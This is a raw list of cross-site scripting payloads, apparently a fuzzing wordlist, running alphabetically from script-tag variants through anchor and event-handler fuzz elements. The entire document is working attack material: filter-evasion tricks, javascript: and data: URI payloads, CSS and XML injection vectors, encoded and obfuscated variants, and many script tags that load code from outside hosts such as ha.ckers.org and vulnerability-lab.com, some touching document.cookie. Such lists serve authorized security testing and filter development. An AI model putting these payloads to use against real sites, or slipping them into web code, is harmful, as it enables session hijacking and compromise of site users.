<SCRIPT "a='>'" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
<SCRIPT "a='>'" id=XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT <B>=alert('XSS');"></SCRIPT>
<SCRIPT <B>alert(1);</SCRIPT>
<SCRIPT <B>document.cookie=true;</SCRIPT>
<SCRIPT =">" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
<SCRIPT =">" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>
<SCRIPT FOR=document EVENT=onreadystatechange>prompt(1)</SCRIPT>
<SCRIPT FOR=window EVENT=onfocus>alert(1)</SCRIPT>
<SCRIPT LANGUAGE="VBScript">%0a%0dFunction window_onload%0a%0dAlert 1%0a%0dEnd Function </SCRIPT>
<SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(ALERT(1))) </SCRIPT>
<SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(“ALERT(1)”)) </SCRIPT>
<SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT>
<SCRIPT SRC="http://vulnerability-lab.com/CrossSiteScripting.jpg"></SCRIPT>
<SCRIPT SRC=//vulnerability-lab.com/.js>
<SCRIPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js></SCRIPT>
<SCRIPT SRC=http://vulnerability-lab.com/CrossSiteScripting.js?<B>
<SCRIPT a=">" '' SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
<SCRIPT a=">" '' id=XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
<SCRIPT a=">" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
<SCRIPT a=">" SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT>
<SCRIPT a=">" id=XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
<SCRIPT a=`>` SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
<SCRIPT a=`>` SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT>
<SCRIPT a=`>` id=XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT id=XSS SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<SCRIPT id=XSS SRC=http://127.0.0.1></SCRIPT>
<SCRIPT id=XSS SRC=http://ha.ckers.org/xss.js></SCRIPT>
<SCRIPT id=XSS SRC=http://ha.ckers.org/xss.js?<B>
<SCRIPT+SRC=http://host/
<SCRIPT+a=">'>" SRC="http://localhost"></SCRIPT>
<SCRIPT/SRC="DATA:TEXT/JAVASCRIPT;BASE64,YSA9CSIJCWMJCW8JCW4JCXMJCXQJCXIJCXUJCXAJCW0JKDEJ KTEJCSIJICA7IEI9W10JICA7QT0JCTIJICA7CWM9CWEJW0EJCV0JICA7QT0JCTUJICA7CW89CWEJW0EJCV0JICA7QT 0JCUEJK0EJLTEJLTEJICA7CW49CWEJW0EJCV0JICA7QT0JIEEJK0EJLTUJICA7CXM9CWEJW0EJCV0JICA7QT0JIEEJCS 0JLTMJICA7CXQ9CWEJW0EJCV0JICA7QT0JIEEJCS0JLTMJICA7CXI9CWEJW0EJCV0JICA7QT0JIEEJCS0JLTMJICA7CX U9CWEJW0EJCV0JICA7QT0JIEEJCS0JLTMJICA7CXA9CWEJW0EJCV0JICA7QT0JIEEJCS0JLTMJICA7CW09CWEJW0E JCV0JICA7QT0JIEEJCS0JLTIJICA7CUQ9CWEJW0EJCV0JICA7QT0JIEEJCS0JLTMJICA7CUU9CWEJW0EJCV0JICA7QT0 JIEEJCS0JLTEJICA7CUY9CWEJW0EJCV0JICA7IEM9ICBCW2MJK28JK24JK3MJK3QJK3IJK3UJK2MJK3QJK28JK3IJCV 0JW2MJK28JK24JK3MJK3QJK3IJK3UJK2MJK3QJK28JK3IJCV0JICA7IEMJKHAJK3IJK28JK20JK3AJK3QJK0QJK0YJK0 UJKSAJKCAJKSAJICA7"></SCRIPT>
<SCRIPT/SRC=DATA:,%61%6c%65%72%74%28%31%29></SCRIPT> //Cross Browser (PEPE Vila)
<SCRIPT/SRC=HTTP://LINKTOJS/></SCRIPT> // Cross Browser
<SCRIPT/XSS id=XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/XSSSRC="http://host"></SCRIPT>
<SCRIPT> alert(XSS); </SCRIPT>
<SCRIPT> alert(\"1\");</SCRIPT>
<SCRIPT> alert(\"1\")</SCRIPT>
<SCRIPT>+alert("X");</SCRIPT>
<SCRIPT>+alert("X")</SCRIPT>
<SCRIPT>a=/CrossSiteScripting/ alert(a.source)</SCRIPT>
<SCRIPT>a=/CrossSiteScripting/\ndocument.cookie=true;</SCRIPT>
<SCRIPT>a=/X/
<SCRIPT>a=/XSS/%0Aalert(a.source)</SCRIPT>
<SCRIPT>a=/XSS/\nalert(a.source)</SCRIPT>
<SCRIPT>a=/XSS/nalert('XSS');</SCRIPT>
<SCRIPT>alert(String.fromCharCode(88))</SCRIPT>
<SCRIPT>document.cookie=true;//<</SCRIPT>
<SCRIPT>document.cookie=true;</SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://vulnerability-lab.com/CrossSiteScripting.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT id=XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>x=/X/ alert(x.source)</SCRIPT>
<SCRIPTLET> <IMPLEMENTS Type="Behavior"></IMPLEMENTS><SCRIPT Language="javascript">alert(1)</SCRIPT></SCRIPTLET>
<SCriPt>delete alert;alert(1)</sCriPt>
<SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<SPAN DATASRC="#X" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<STYLE TYPE="text/javascript">alert('CrossSiteScripting');</STYLE>
<STYLE TYPE="text/javascript">alert(1);</STYLE>
<STYLE TYPE="text/javascript">document.cookie=true;</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('CrossSiteScripting')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert(1)")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:document.cookie=true")}</STYLE>
<STYLE>.CrossSiteScripting{background-image:url("javascript:alert('CrossSiteScripting')");}</STYLE><A CLASS=CrossSiteScripting></A>
<STYLE>.CrossSiteScripting{background-image:url("javascript:document.cookie=true");}</STYLE><A CLASS=CrossSiteScripting></A>
<STYLE>.X{background-image:url("javascript:alert(1)");}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("CrossSiteScripting")';</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert(1)';</STYLE>
<STYLE>@im\port'\ja\vasc\ript:document.cookie=true';</STYLE>
<STYLE>@import'http://host/css';</STYLE>
<STYLE>@import'http://vulnerability-lab.com/CrossSiteScripting.css';</STYLE>
<STYLE>BODY{-moz-binding:url("http://vulnerability-lab.com/CrossSiteScriptingmoz.xml#CrossSiteScripting")}</STYLE>
<STYLE>li {list-style-image: url("javascript:alert('CrossSiteScripting')");}</STYLE><UL><LI>CrossSiteScripting
<STYLE>li {list-style-image: url("javascript:alert('XSS');</STYLE><UL><LI>XSS
<STYLE>li {list-style-image: url("javascript:alert(1)");}</STYLE><UL><LI>X
<STYLE>li {list-style-image: url("javascript:document.cookie=true;");</STYLE><UL><LI>CrossSiteScripting
<STYLE>li+{list-style-image:url("javascript:alert(1)");}</STYLE><UL><LI>1
<SVG/ONLOAD=prompt(1) // Cross Browser
<ScR<ScRiPt>IpT>prompt(1)<%2FsCr<ScRiPt>IpT>
<ScRIPT x src=//0x.lv?</style></script><script>alert(String.fromCharCode(75,67,70))</script>
<ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>
<ScRIPt>prompt(1)</ScRIPt>
<ScRiPt+>prompt(1)</ScRiPt>
<ScriPt>ALeRt( X )</scriPt>
<ScriPt>ALeRt(“ X ”)</scriPt>
<ScripT>alert(1234)</ScRipT>
<TABLE BACKGROUND="javascript:alert('CrossSiteScripting')">
<TABLE BACKGROUND="javascript:alert(1)">
<TABLE BACKGROUND="javascript:document.cookie=true;">
<TABLE id=XSS BACKGROUND="javascript:alert('XSS')">
<TABLE id=XSS><TD BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('CrossSiteScripting')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">"
<TABLE><TD BACKGROUND="javascript:alert(1)">
<TABLE><TD BACKGROUND="javascript:document.cookie=true;">
<X OnXxx=1
<X STYLE="X:expression(alert(1))">
<X onxxx=1
<XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:alert('CrossSiteScripting')"></B></I></XML>
<XML ID="CrossSiteScripting"><I><B><IMG SRC="javas<!-- -->cript:document.cookie=true"></B></I></XML><SPAN DATASRC="#CrossSiteScripting" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<XML ID="XSS"><I><B><IMG id=XSS SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML><SPAN DATAid=XSS SRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<XML ID=0><I><B><IMG SRC="javas<!-- -->cript:alert(1)"></B></I></XML>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:document.cookie=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]]]><![CDATA[><![CDATA[cript:alert('CrossSiteScripting');">]]]]><![CDATA[>
<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]]]><![CDATA[><![CDATA[cript:alert(1);">]]]]><![CDATA[></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML ID=I><X><C><![CDATA[<IMG id=XSS SRC="javas]]<![CDATA[cript:alert('XSS');">]]</C><X></xml>
<XML SRC="CrossSiteScriptingtest.xml" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML id=XSS SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
<XML id=XSS SRC="xsstest.xml" ID=I></XML><SPAN DATAid=XSS SRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
<XML id=XSS><X><C><![CDATA[<IMG id=XSS SRC="javas]]]]><![CDATA[><![CDATA[cript:alert('XSS');">]]]]><![CDATA[></C></X><xml><SPAN DATAid=XSS SRC=#I DATAFLD=CDATAFORMATAS=HTML></SPAN>
<[%00]img onerror=alert(1) src=a>
<a HREF="data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg==">ugh</a>
<a b="c">d</a>
<a href= /whatever>
<a href="" onclick=``/*/alt="*//alert(1)//">clickme</a>
<a href="" onclick=``/name==alert(1)>clickme</a>
<a href="#" onClick="alert(document.domain)"><img title="Click me" /></a>
<a href="#" onClick="var a ='foo'; alert(1);//'">Click Me</a>
<a href="#" ping="file://%00/%00/x">Boom</a><script>document.querySelector('a').click();</script>
<a href="javascript:confi 14m(1)">Clickhere</a>
<a href="javascript:alert(1)">CLICK ME<a>
<a href="&#106&#97&#118&#97&& #35115&#99&#114&#105&# 912&#116&#58&#99&#111& #38#110&#102&#105&#114 8#109&#40&#49&#41">Clickhere</a>
<a href="// ͥ.ws">CLICK
<a href="123" id=x>test</a><script>x='javascript:alert(1)';</script>
<a href="[a]java[b]script[c]:alert(1)">XXX</a>
<a href="\x00javascript:javascript:alert(75)" id="fuzzelement1">test</a>
<a href="\x01javascript:javascript:alert(93)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:alert(105)" id="fuzzelement1">test</a>
<a href="\x03javascript:javascript:alert(72)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:alert(92)" id="fuzzelement1">test</a>
<a href="\x05javascript:javascript:alert(64)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:alert(107)" id="fuzzelement1">test</a>
<a href="\x07javascript:javascript:alert(89)" id="fuzzelement1">test</a>
<a href="\x08javascript:javascript:alert(94)" id="fuzzelement1">test</a>
<a href="\x09javascript:javascript:alert(80)" id="fuzzelement1">test</a>
<a href="\x0Ajavascript:javascript:alert(100)" id="fuzzelement1">test</a>
<a href="\x0Bjavascript:javascript:alert(61)" id="fuzzelement1">test</a>
<a href="\x0Cjavascript:javascript:alert(101)" id="fuzzelement1">test</a>
<a href="\x0Djavascript:javascript:alert(99)" id="fuzzelement1">test</a>
<a href="\x0Ejavascript:javascript:alert(73)" id="fuzzelement1">test</a>
<a href="\x0Fjavascript:javascript:alert(62)" id="fuzzelement1">test</a>
<a href="\x10javascript:javascript:alert(76)" id="fuzzelement1">test</a>
<a href="\x11javascript:javascript:alert(67)" id="fuzzelement1">test</a>
<a href="\x12javascript:javascript:alert(98)" id="fuzzelement1">test</a>
<a href="\x13javascript:javascript:alert(79)" id="fuzzelement1">test</a>
<a href="\x14javascript:javascript:alert(82)" id="fuzzelement1">test</a>
<a href="\x15javascript:javascript:alert(102)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:alert(104)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:alert(71)" id="fuzzelement1">test</a>
<a href="\x18javascript:javascript:alert(66)" id="fuzzelement1">test</a>
<a href="\x19javascript:javascript:alert(83)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:alert(74)" id="fuzzelement1">test</a>
<a href="\x1Bjavascript:javascript:alert(106)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:alert(112)" id="fuzzelement1">test</a>
<a href="\x1Djavascript:javascript:alert(87)" id="fuzzelement1">test</a>
<a href="\x1Ejavascript:javascript:alert(110)" id="fuzzelement1">test</a>
<a href="\x1Fjavascript:javascript:alert(85)" id="fuzzelement1">test</a>
<a href="\x20javascript:javascript:alert(78)" id="fuzzelement1">test</a>
<a href="\xC2\xA0javascript:javascript:alert(63)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:alert(90)" id="fuzzelement1">test</a>
<a href="\xE1\xA0\x8Ejavascript:javascript:alert(65)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x80javascript:javascript:alert(70)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x81javascript:javascript:alert(86)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x82javascript:javascript:alert(77)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:alert(91)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x84javascript:javascript:alert(95)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:alert(109)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x86javascript:javascript:alert(96)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:alert(88)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x88javascript:javascript:alert(68)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x89javascript:javascript:alert(69)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x8Ajavascript:javascript:alert(81)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA8javascript:javascript:alert(103)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:alert(108)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xAFjavascript:javascript:alert(84)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:alert(111)" id="fuzzelement1">test</a>
<a href="\xE3\x80\x80javascript:javascript:alert(97)" id="fuzzelement1">test</a>
<a href="about:<script>alert(1);</script>
<a href="about:<script>document.cookie=true;</script>">
<a href="data:\@['{§(`__`)$}']@\, % 3 c script % 3 e alert(1) % 3 c/script %3 e">click</a>
<a href="data:text/html,<script>alert(1)</script>">Click<test>
<a href="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">Click<test>
<a href="data:text/html;base64,PHN2Zyè¨9vbmxv晕YWQ<>>9YWxlc>>>nQoMSk+">click</a>
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a><meta http-equiv="refresh" content="0;url=javascript:document.cookie=true;">
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a><script\x20type="text/javascript">javascript:alert(1);</script>
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a><select><noembed></select><script x='a@b'a>y='a@b'//a@b%0a\u0061lert(1)</script x>
<a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>with(document)getElementsByTagName('head')[0].appendChild(createElement('script')).src='//ŋ.ws'
<a href="data: , < 
 script > alert(1) < /script > ">CLICK
<a href="file:///Applications/Calculator.app"><svg onload="this.parentNose.click()"></a>
<a href="http://attacker.org"> <iframe src="http://example.org/"></iframe></a>
<a href="invalid:1" id=x name=y>test</a><a href="invalid:2" id=x name=y>test</a><script>alert(x.y[0])</script>
<a href="j&#x26#x41;vascript:alert%252831337%2529">X</a>
<a href="j	a	v	asc
ri	pt:\u0061\u006C\u0065\u0072\u0074(1)" >Click<test>
<a href="j	a	v	asc
ri	pt:confirm(1)">Click<test>
<a href="jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e">click me</a>
<a href="javascript#alert('XSS');">
<a href="javascript#alert(1);">
<a href="javascript#document.cookie=true;">
<a href="javascript:_e({}, 'cvml', 'test-01-%27-alert(1)-%27');" target="_blank">test</a>
<a href="javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>
<a href="javascript:name">CLICK</a>
<a href="javascript:x:alert(1)">x</a>
<a href="javascript\x00:javascript:alert(113)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:alert(115)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:alert(117)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:alert(116)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:alert(114)" id="fuzzelement1">test</a>
<a href="mailto:test-01-%27-alert(1)-%27-test@test.com">test</a>
<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
<a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>
<a href=# name=x id=x>Click me on IE11</a><script event="onclick(blah)<wtfbbq>{}" for=x>blah.view.alert(1)</script>
<a href=1 name=x>test</a><a href=1 name=x>test</a><script>alert(x.removeChild)alert(x.parentNode)</script>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=alert(1)></a>">
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(203)></a>">
<a href=jAvascript:alert(1)>X</a>
<a href=javascript:javascript:alert(199)>XXX</a>
<a href=javascript:alert(1)>click
<a href=”http://www.google.com>Clickme</a>
<a href=”javaScrRipt:alert(1)”>Clickme</a>
<a href=”javascript:”>Clickme</a>
<a id=XSS href="about:<script>alert('XSS');</script>">
<a onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" charset="char_encoding" coords="coordinates" download="filename" href="URL" hreflang="language_code" media="media_query" name="section_name" rel="alternate" rev="text" shape="default" target="_blank" type="media_type">Test</a>
<a onhelp='eval(href+"confirm(1)")'contenteditable='true'href=' javascript:'>click</a>
<a onmouseover%0B=location=%27\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3 B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x 6F\x6F\x6B\x69\x65\x26\x72\x70\x61\x72\x3B%27>CLICK
<a onmouseover="javascript:window.onerror=alert;throw 1>
<a onmouseover=(alert(1))>X</a>
<a onmouseover=location=javascript:alert(1)>click
<a onmouseover=location='javascript:al
 1rt(1)'>a<a>
<a onmouseover=location=’javascript:alert(1)>click
<a style="-o-link:'javascript:alert(1)';-o-link-source:current">X</a>
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XXX</a>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a>
<a+href="javascript#alert(1);">
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
<a/href="j	a	v	asc	ri	pt:confirm(1)">Click<test>
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x31\x29\x3B'>X
<a[\x0B] onmouseover =location=’jav\x41script\x3aconfirm\x28″ZDresearchâ€\x29′>ZDresearch
<abbr onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</abbr>
<abeon style=font-size:12px onmouseover=confirm(1)>abeon
<acronym onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</acronym>
<address onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" 